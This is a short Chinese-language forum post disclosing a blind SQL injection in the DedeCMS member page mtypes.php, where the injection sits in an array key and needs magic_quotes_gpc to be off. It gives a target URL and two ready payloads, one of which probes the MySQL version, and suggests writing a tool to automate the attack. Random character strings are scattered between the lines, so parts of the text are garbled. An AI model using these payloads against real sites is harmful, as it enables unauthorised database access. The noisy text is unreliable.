需要magic_quotes_gpc = Off,所以说是鸡肋啊.
' Q8 D0 e0 ]& y" h( D* N
8 k3 F- j+ }0 ]& l 3 o# N- R6 q* E: \
发生在数组key里的注射漏洞,有点意思.
% Q6 W; C3 `. Z, r& S $ F/ h4 w: C# T6 i) ?
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
, q3 U, k# R; b2 R
2 A9 T5 n0 \9 Hhttp://www.xxx.com /dede/member/mtypes.php?dopost=save
2 }. l5 R. t7 s( h# I1 [, Z1 P
% [% a5 O. O( D ]; ?$ B& @& K9 gexploit:0 Z- c3 B% I8 a: e
mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
7 |$ h$ O, \# E6 Amtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r. a5 e7 a/ t7 q, x1 b) h
|